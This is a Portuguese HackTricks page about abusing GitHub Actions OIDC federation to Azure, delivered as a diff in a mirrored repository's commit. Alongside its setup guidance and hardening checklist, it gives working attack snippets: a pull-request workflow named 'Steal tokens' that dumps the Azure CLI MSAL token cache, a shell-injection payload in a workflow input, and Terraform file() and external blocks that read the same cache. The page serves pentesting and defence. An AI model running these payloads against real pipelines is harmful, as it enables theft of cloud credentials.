mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
# Azure – Abuso de Federação (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visão geral
|
||||
|
||||
GitHub Actions pode federar-se ao Azure Entra ID (formerly Azure AD) usando OpenID Connect (OIDC). Um workflow do GitHub solicita um GitHub ID token (JWT) de curta duração que codifica detalhes sobre a execução. O Azure valida esse token contra uma Federated Identity Credential (FIC) em um App Registration (service principal) e o troca por tokens de acesso do Azure (MSAL cache, bearer tokens para Azure APIs).
|
||||
|
||||
O Azure valida pelo menos:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (ao trocar por tokens do Azure)
|
||||
- sub: deve corresponder ao identificador Subject configurado do FIC
|
||||
|
||||
> O aud padrão do GitHub pode ser uma URL do GitHub. Ao trocar com o Azure, defina explicitamente audience=api://AzureADTokenExchange.
|
||||
|
||||
## GitHub ID token — PoC rápido
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
Para forçar a audiência do Azure na solicitação de token:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Configuração do Azure (Workload Identity Federation)
|
||||
|
||||
1) Crie uma App Registration (service principal) e conceda o privilégio mínimo (por exemplo, Storage Blob Data Contributor em uma storage account específica).
|
||||
|
||||
2) Adicione credenciais de identidade federada:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: fortemente restrito ao workflow/contexto de execução pretendido (veja Scoping and risks abaixo).
|
||||
|
||||
3) Use azure/login para trocar o GitHub ID token e autenticar-se no Azure CLI:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
Exemplo de troca manual (escopo Graph mostrado; ARM ou outros recursos de forma semelhante):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## Anatomia e personalização do subject (sub) do GitHub OIDC
|
||||
|
||||
Formato padrão do sub: repo:<org>/<repo>:<context>
|
||||
|
||||
Valores de context incluem:
|
||||
- environment:<env>
|
||||
- pull_request (PR é acionado quando não há environment)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Claims úteis frequentemente presentes no payload:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Personalize a composição do sub pela API do GitHub para incluir claims adicionais e reduzir o risco de colisão:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
Nota: Dois‑pontos nos nomes de environment são codificados em URL (%3A), eliminando truques antigos de injeção de delimitadores contra o parsing de sub. No entanto, usar subjects não únicos (por exemplo, apenas environment:<name>) continua inseguro.
|
||||
|
||||
## Escopo e riscos dos tipos de subject do FIC
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Risco: Se o branch/tag estiver desprotegido, qualquer contributor pode push e obter tokens.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Risco: Environments desprotegidos (sem reviewers) permitem que contributors mintem tokens.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Maior risco: Qualquer colaborador pode abrir um PR e satisfazer o FIC.
|
||||
|
||||
PoC: Furto de tokens acionado por PR (exfiltrate o cache do Azure CLI escrito por azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
Locais de arquivos relacionados e notas:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json contém tokens MSAL para sessões do az CLI
|
||||
- Windows: msal_token_cache.bin no perfil do usuário; protegido por DPAPI
|
||||
|
||||
## Workflows reutilizáveis e escopo de job_workflow_ref
|
||||
|
||||
Chamar um workflow reutilizável adiciona job_workflow_ref ao GitHub ID token, por exemplo:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
Exemplo FIC para vincular tanto o caller repo quanto o reusable workflow:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
Configure os claims no repo chamador para que tanto repo quanto job_workflow_ref estejam presentes em sub:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
Aviso: Se você vincular apenas job_workflow_ref no FIC, um atacante pode criar um repo diferente na mesma org, executar o mesmo reusable workflow no mesmo ref, satisfazer o FIC e gerar tokens. Sempre inclua também o caller repo.
|
||||
|
||||
## Vetores de execução de código que contornam as proteções job_workflow_ref
|
||||
|
||||
Mesmo com job_workflow_ref devidamente limitado, qualquer dado controlado pelo caller que chegue ao shell sem citação segura pode levar à execução de código dentro do contexto do workflow protegido.
|
||||
|
||||
Exemplo de step reutilizável vulnerável (interpolação sem aspas):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
Entrada maliciosa do chamador para executar comandos e exfiltrar o cache de tokens do Azure:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## Terraform plan como um primitivo de execução em PRs
|
||||
|
||||
Trate terraform plan como execução de código. Durante o plan, Terraform pode:
|
||||
- Ler arquivos arbitrários via funções como file()
|
||||
- Executar comandos via external data source
|
||||
|
||||
Exemplo para exfiltrate Azure token cache durante o plan:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
Ou use external para executar comandos arbitrários:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Conceder FICs utilizáveis em plans acionados por PR expõe tokens privilegiados e pode preparar um apply destrutivo posteriormente. Separe identidades para plan e apply; nunca permita tokens privilegiados em contextos de PR não confiáveis.
|
||||
|
||||
## Hardening checklist
|
||||
|
||||
- Nunca use sub=...:pull_request para FICs sensíveis
|
||||
- Proteja qualquer branch/tag/environment referenciada por FICs (branch protection, environment reviewers)
|
||||
- Prefira FICs com escopo tanto para repo quanto para job_workflow_ref em reusable workflows
|
||||
- Customize o sub OIDC do GitHub para incluir claims únicos (ex.: repo, job_workflow_ref, repository_owner)
|
||||
- Elimine interpolação não entre aspas de caller inputs em run steps; encode/quote com segurança
|
||||
- Trate terraform plan como execução de código; restrinja ou isole identidades em contextos de PR
|
||||
- Imponha princípio do menor privilégio em App Registrations; separe identidades para plan e apply
|
||||
- Pin actions e reusable workflows para commit SHAs (evite pins por branch/tag)
|
||||
|
||||
## Manual testing tips
|
||||
|
||||
- Solicite um GitHub ID token in‑workflow e imprima-o em base64 para evitar masking
|
||||
- Decode o JWT para inspecionar claims: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Troque manualmente o ID token contra login.microsoftonline.com para confirmar FIC matching e scopes
|
||||
- Após azure/login, leia ~/.azure/msal_token_cache.json para verificar a presença do material do token
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user